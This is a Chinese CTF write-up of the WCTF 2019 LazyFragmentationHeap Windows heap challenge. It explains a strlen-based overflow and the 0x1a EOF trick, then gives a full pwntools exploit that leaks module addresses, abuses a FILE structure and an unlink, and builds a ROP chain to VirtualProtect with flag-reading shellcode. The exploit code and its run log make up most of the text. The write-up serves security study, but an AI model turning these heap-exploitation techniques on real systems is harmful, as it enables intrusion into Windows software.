Angelboy 出的一道 winpwn ,相比较其另一道winpwn : HITCON CTF 2019 dadadb,其难度差距还是很大的。
作者 AngelBoy 已经在 Github 上公开了思路和源码,所以下面我会讲的简单一些,https://github.com/scwuaptx/LazyFragmentationHeap。
这里也提供我的环境:https://github.com/Ex-Origin/ctf-writeups/tree/master/other/pwn/wctf_2019_LazyFragmentationHeap 。
说实话做实验的时候并没有感受到 低碎片堆 的特性,可能是我对 Windows API 的 核心原理还不够了解。
漏洞
喜闻乐见的 strlen 导致的 heap 溢出。
if ( !global_buffer_array[v16].calloc_ptr
|| global_buffer_array[v18].read_magic2 != 0xDDAABEEF1ACDi64
|| global_buffer_array[v18].magic1 != 0xDDAABEEF1ACDi64 )
{
puts("Error !");
exit(-3);
}
printf("Content:", v15);
v19 = -1i64;
v20 = (_BYTE *)global_buffer_array[v18].calloc_ptr;
v21 = global_buffer_array[v18].size;
do
++v19;
while ( v20[v19] );
if ( v19 > v21 && global_buffer_array[v18].read_magic2 == 0xDDAABEEF1ACDi64 )
{
v21 = -1i64;
do
++v21;
while ( v20[v21] );
}
if ( read(0, v20, v21) <= 0 )
{
puts("read error");
_exit(1);
}
global_buffer_array[v18].read_magic2 ^= 0xFACEB00CA4DADDAAui64;
puts("Done !");
难点在于其数量过多的障碍设置:
- 只能 free 两次
- 只能 readfile 两次
- 只有 10 个指针,且每个指针只能 edit 一次
- 0x1a 作为 magic 的方式来预防劫持,这个是个亮点
0x1a 中断流
0x1A在ASCII码中代表EOF,在过去,ASCII码EOF曾经在unix/linux中被作为文件结束符使用,微软继承了这个传统,也以EOF作为文件的结束符。
由于输入句柄是以文件流形式打开的,所以当我们输入时,输入流一旦接受到 0x1a ,就会立马关闭。
举个例子:
#include <Windows.h>
#include <stdio.h>
int main()
{
FILE *fp, *fp_r, *fp_rb;
int i;
fopen_s(&fp, "temp.txt", "wb");
fputc('a', fp);
fputc(0x1a, fp);
fputc('b', fp);
fclose(fp);
fopen_s(&fp_r, "temp.txt", "r");
fopen_s(&fp_rb, "temp.txt", "rb");
printf("fp_r : ");
for (i = 0; i < 3; i++)
{
printf("%8x ", fgetc(fp_r));
}
printf("\nfp_rb: ");
for (i = 0; i < 3; i++)
{
printf("%8x ", fgetc(fp_rb));
}
puts("");
fclose(fp_r);
fclose(fp_rb);
return DeleteFile("temp.txt") ? 0 : 1;
}
运行结果如下:
fp_r : 61 ffffffff ffffffff
fp_rb: 61 1a 62
思路
- 泄露 ntdll 地址以便计算镜像基地址
- 泄露出其他需要的地址
- 利用 FILE 任意写 修改 输入流的句柄属性为二进制类型,由于后面限制了 FILE 的使用,用 unlink 来劫持程序的指针结构。因为所有操作都是在默认堆中,对 堆布局的要求很高,这里是个难点。
- 完成上面步骤后就等于拥有了任意读写权限,然后常规方法泄露栈地址,劫持程序流ROP,利用shellcode 读 flag。
这里思路的核心在于 Windows 的 程序、动态库的基地址在短时间内是不会变的,可以利用这一特性来间接完成一些操作。还有其一些在 default heap 的数据在短时间内的偏移也是不变的,这一点对于利用也很重要。
脚本
脚本概率大约是1/3
,可能会遇到无限阻塞的情况,重新执行即可。
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
host = '192.168.1.104'
port = 10001
context.arch = 'amd64'
# context.log_level = 'debug'
sh = None
ntdll_addr = None
def add(size, id):
sh.sendlineafter('Your choice: ', '1')
sh.sendlineafter('Size:', str(size))
sh.sendlineafter('ID:', str(id))
def edit(id, content):
sh.sendlineafter('Your choice: ', '2')
sh.sendlineafter('ID:', str(id))
sh.sendafter('Content:', content)
def show(id):
sh.sendlineafter('Your choice: ', '3')
sh.sendlineafter('ID:', str(id))
sh.recvuntil('Content: ')
return sh.recvuntil('\r\n', drop=True) + '\0'
def delete(id):
sh.sendlineafter('Your choice: ', '4')
sh.sendlineafter('ID:', str(id))
def open_file(times):
sh.sendlineafter('Your choice: ', '5')
for i in range(times):
sh.sendlineafter('Your choice: ', '1')
sh.sendlineafter('Your choice: ', '3')
def read_file(id, size, content=None):
sh.sendlineafter('Your choice: ', '5')
sh.sendlineafter('Your choice: ', '2')
sh.sendlineafter('ID:', str(id))
sh.sendlineafter('Size:', str(size))
if(content):
sh.send(content)
sh.sendlineafter('Your choice: ', '3')
print('\nstep 1 : leak ntdll address\n')
while(True):
sh = remote(host, port)
open_file(6)
add(0x88, 1)
add(0x88, 2)
add(0x88, 3)
read_file(1, 0x88)
result = show(1)[0x88:]
Encoding = u64(result.ljust(8, '\0')) ^ 0x000000908010009
log.success('Encoding: ' + hex(Encoding))
if((Encoding & 0xff0000000000) == 0):
sh.close()
continue
edit(1, 'a' * 0x88 + p64(0x080000913010012 ^ Encoding)[:6])
delete(2)
add(0x88, 4)
result = show(3)
heap_addr = u64(result.ljust(8, '\0')) & 0xffffffffffff0000
if(heap_addr == 0):
sh.close()
continue
log.success('heap_addr: ' + hex(heap_addr))
open_file(1)
fake_file = [
0, 0xBEEFDAD0000 + 0x28 + 0x20,
p32(0), p32(0x2080), 0,
0x100, 0,
0xffffffffffffffff, p32(0xffffffff),p32(0),
0, 0,
]
edit(3, flat(fake_file))
read_file(4, 8, p64(heap_addr + 0x2c0))
result = show(4)
ntdll_addr = (u64(result.ljust(8, '\0')) - 0x15f000) & 0xffffffffffff0000
log.success('ntdll_addr: ' + hex(ntdll_addr))
sh.close()
break
def leak(addr, heap_offset=None):
global sh
while(True):
try:
sh = remote(host, port)
open_file(6)
add(0x88, 1)
add(0x88, 2)
add(0x88, 3)
read_file(1, 0x88)
result = show(1)[0x88:]
Encoding = u64(result.ljust(8, '\0')) ^ 0x000000908010009
log.success('Encoding: ' + hex(Encoding))
if((Encoding & 0xff0000000000) == 0):
sh.close()
continue
edit(1, 'a' * 0x88 + p64(0x080000913010012 ^ Encoding)[:6])
delete(2)
add(0x88, 4)
result = show(3)
heap_addr = u64(result.ljust(8, '\0')) & 0xffffffffffff0000
log.success('heap_addr: ' + hex(heap_addr))
if(heap_addr == 0):
sh.close()
continue
open_file(1)
fake_file = [
0, 0xBEEFDAD0000 + 0x28 + 0x20,
p32(0), p32(0x2080), 0,
0x100, 0,
0xffffffffffffffff, p32(0xffffffff),p32(0),
0, 0,
]
edit(3, flat(fake_file))
if(heap_offset):
read_file(4, 8, p64(heap_addr + addr))
else:
read_file(4, 8, p64(addr))
result = show(4)
sh.close()
return u64(result.ljust(8, '\0')[:8])
except KeyboardInterrupt as e:
sh.close()
exit(0)
except:
sh.close()
print('\nstep 2 : leak other address\n')
PebLdr = ntdll_addr + 0x1653c0
offset = leak(PebLdr + 0x10) & 0xffff
image_base = leak(offset + 0x30 + 2, 1) << 16
log.success('image_base: ' + hex(image_base))
kernel32_addr = leak(image_base + 0x3000) - 0x1a190 # kernel32!VirtualAllocStub
log.success('kernel32_addr: ' + hex(kernel32_addr))
ucrtbase_addr = leak(image_base + 0x3190) - 0x80880 # ucrtbase!puts
log.success('ucrtbase_addr: ' + hex(ucrtbase_addr))
ucrtbase_pioinfo_ptr = ucrtbase_addr + 0xeb770
pioinfo_offset = leak(ucrtbase_pioinfo_ptr) & 0xffff
log.success('pioinfo_offset: ' + hex(pioinfo_offset))
print('\nstep 3 : unlink\n')
while(True):
sh = remote(host, port)
open_file(5)
add(0x88, 1)
add(0x88, 2)
add(0xe8, 3)
add(0x88, 5)
add(0x88, 6)
read_file(1, 0x88)
result = show(1)[0x88:]
Encoding = u64(result.ljust(8, '\0')) ^ 0x000000908010009
log.success('Encoding: ' + hex(Encoding))
if((Encoding & 0xff0000000000) == 0):
sh.close()
continue
edit(1, 'a' * 0x88 + p64(0x080000920010021 ^ Encoding)[:6])
delete(2)
add(0x88, 4)
result = show(3)
heap_addr = u64(result.ljust(8, '\0')) & 0xffffffffffff0000
log.success('heap_addr: ' + hex(heap_addr))
if(heap_addr == 0):
sh.close()
continue
open_file(1)
add(0x88, 7)
add(0x88, 0x0800000613010012 ^ Encoding)
fake_file = [
0, 0xBEEFDAD0000 + 0x28 + 0x20,
p32(0), p32(0x2080), 0,
0x100, 0,
0xffffffffffffffff, p32(0xffffffff),p32(0),
0, 0,
]
edit(3, flat(fake_file) + p64(0) + p64(0x0800000613010012 ^ Encoding))
delete(7)
add(0x88, 9)
# change text mode to binary mode
read_file(4, 8, p64(heap_addr + pioinfo_offset + 0x38))
edit(4, p8(0xc1))
edit(5, p64(0xBEEFDAD0000 + 0x28 * 6 + 0x20 - 8) + p64(0xBEEFDAD0000 + 0x28 * 6 + 0x20))
add(0x88, 10)
edit(0x0800000613010012 ^ Encoding, flat([0, 0xDDAABEEF1ACD, 0x100, 100, 0xDDAABEEF1ACD, 0xBEEFDAD0000]))
node_array = [0xDDAABEEF1ACD, 0x1000, 1, 0xDDAABEEF1ACD, 0xBEEFDAD0000, 0xDDAABEEF1ACD, 0x1000, 2, 0xDDAABEEF1ACD, 0xBEEFDAD0000,]
layout = node_array + [0xDDAABEEF1ACD, 0x100, 3, 0xDDAABEEF1ACD, PebLdr - 120,]
point = 0
edit(100, flat(layout))
result = show(3)
Peb_addr = u64(result.ljust(8, '\0')) - 0x80
log.success('Peb_addr: ' + hex(Peb_addr))
Teb_addr = Peb_addr + 0x1000
layout = node_array + [[0xDDAABEEF1ACD, 0x100, 3 + i, 0xDDAABEEF1ACD, Teb_addr + 8 + i,] for i in range(8)]
point = 2 if (point == 1) else 1
edit(point, flat(layout))
result = ''
while(len(result) < 8):
result += show(3 + len(result))
stack_base = u64(result[:8])
log.success('stack_base: ' + hex(stack_base))
main_ret_content = image_base + 0x1B78
print('\nstep 4 : search for main ret address\n')
main_ret = 0
offset = 0
while(offset != -1):
offset += 0x40
layout = node_array + [[0xDDAABEEF1ACD, 0x100, 3 + i, 0xDDAABEEF1ACD, stack_base - offset + i * 8,] for i in range(8)]
point = 2 if (point == 1) else 1
edit(point, flat(layout))
for i in range(8)[::-1]:
result = show(3 + i).ljust(8, '\0')
if(main_ret_content == u64(result[:8])):
main_ret = stack_base - offset + i * 8
offset = -1
break
log.success('main_ret: ' + hex(main_ret))
shellcode_addr = image_base + 0x5800
layout = node_array + [
0xDDAABEEF1ACD, 0x100, 3, 0xDDAABEEF1ACD, main_ret - 0x80,
0xDDAABEEF1ACD, 0x400, 4, 0xDDAABEEF1ACD, shellcode_addr,
]
point = 2 if (point == 1) else 1
edit(point, flat(layout))
asm_str = '''
sub rsp, 0x1000 ;// to prevent underflowing
mov rax, 0x7478742e67616c66 ;// flag.txt
mov [rsp + 0x100], rax
mov byte ptr [rsp + 0x108], 0
lea rcx, [rsp + 0x100]
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
mov dword ptr[rsp + 0x20], 3
mov dword ptr[rsp + 0x28], 0x80
mov [rsp + 0x30], r9
mov rax, %d
call rax ;// CreateFile
mov rcx, rax
lea rdx, [rsp + 0x200]
mov r8d, 0x200
lea r9, [rsp + 0x30]
xor eax, eax
mov [rsp + 0x20], rax
mov rax, %d
call rax ;// ReadFile
mov ecx, 0xfffffff5 ;// STD_OUTPUT_HANDLE
mov rax, %d
call rax ;// GetStdHandle
mov rcx, rax
lea rdx, [rsp + 0x200]
mov r8d, [rsp + 0x30]
lea r9, [rsp + 0x40]
xor eax, eax
mov [rsp + 0x20], rax
mov rax, %d
call rax ;// WriteFile
mov rax, %d
call rax ;// exit
''' % ( kernel32_addr + 0x22080, kernel32_addr + 0x22410, kernel32_addr + 0x1c610, kernel32_addr + 0x22500, image_base + 0x18D4)
shellcode = asm(asm_str)
edit(4, shellcode)
VirtualProtect = kernel32_addr + 0x1af90
layout = [
ntdll_addr + 0x8c4b7, #: pop rdx; pop r11; ret;
0x1000,
0,
ntdll_addr + 0x21597, #: pop rcx; ret;
shellcode_addr & 0xfffffffffffff000,
ntdll_addr + 0x8c4b2, #: pop r8; pop r9; pop r10; pop r11; ret;
0x40, # PAGE_EXECUTE_READWRITE
shellcode_addr + 0x500,
0, 0,
VirtualProtect,
shellcode_addr,
]
sh.sendlineafter('Your choice: ', '2')
sh.sendlineafter('ID:', str(3))
sh.sendafter('Content:', flat(layout))
sh.interactive()
break
执行效果:
ex@Ex:~/test$ python exp.py
step 1 : leak ntdll address
[+] Opening connection to 192.168.1.104 on port 10001: Done
[+] Encoding: 0x884739d46bc8
[+] heap_addr: 0x23d6b660000
[+] ntdll_addr: 0x7ffa3a060000
[*] Closed connection to 192.168.1.104 port 10001
step 2 : leak other address
[+] Opening connection to 192.168.1.104 on port 10001: Done
[+] Encoding: 0x69365583807
[+] heap_addr: 0x1de7b1e0000
[*] Closed connection to 192.168.1.104 port 10001
[+] Opening connection to 192.168.1.104 on port 10001: Done
[+] Encoding: 0x32eabad343e5
[+] heap_addr: 0x20601430000
[*] Closed connection to 192.168.1.104 port 10001
[+] image_base: 0x7ff663030000
[+] Opening connection to 192.168.1.104 on port 10001: Done
[+] Encoding: 0xbd35fa155db5
[+] heap_addr: 0x1c154a90000
[*] Closed connection to 192.168.1.104 port 10001
[+] kernel32_addr: 0x7ffa39720000
[+] Opening connection to 192.168.1.104 on port 10001: Done
[+] Encoding: 0xa452c75b8940
[+] heap_addr: 0x29414850000
[*] Closed connection to 192.168.1.104 port 10001
[+] ucrtbase_addr: 0x7ffa37bc0000
[+] Opening connection to 192.168.1.104 on port 10001: Done
[+] Encoding: 0x69a1a513ec6f
[+] heap_addr: 0x1d0ca8d0000
[*] Closed connection to 192.168.1.104 port 10001
[+] pioinfo_offset: 0x6950
step 3 : unlink
[+] Opening connection to 192.168.1.104 on port 10001: Done
[+] Encoding: 0xb2fc939c4700
[+] heap_addr: 0x0
[*] Closed connection to 192.168.1.104 port 10001
[+] Opening connection to 192.168.1.104 on port 10001: Done
[+] Encoding: 0x86f6271060b9
[+] heap_addr: 0x18336760000
[+] Peb_addr: 0x35c2323000
[+] stack_base: 0x35c2500000
step 4 : search for main ret address
[+] main_ret: 0x35c24ffea8
[*] Switching to interactive mode
flag{this_is_a_flag}
[*] Got EOF while reading in interactive
$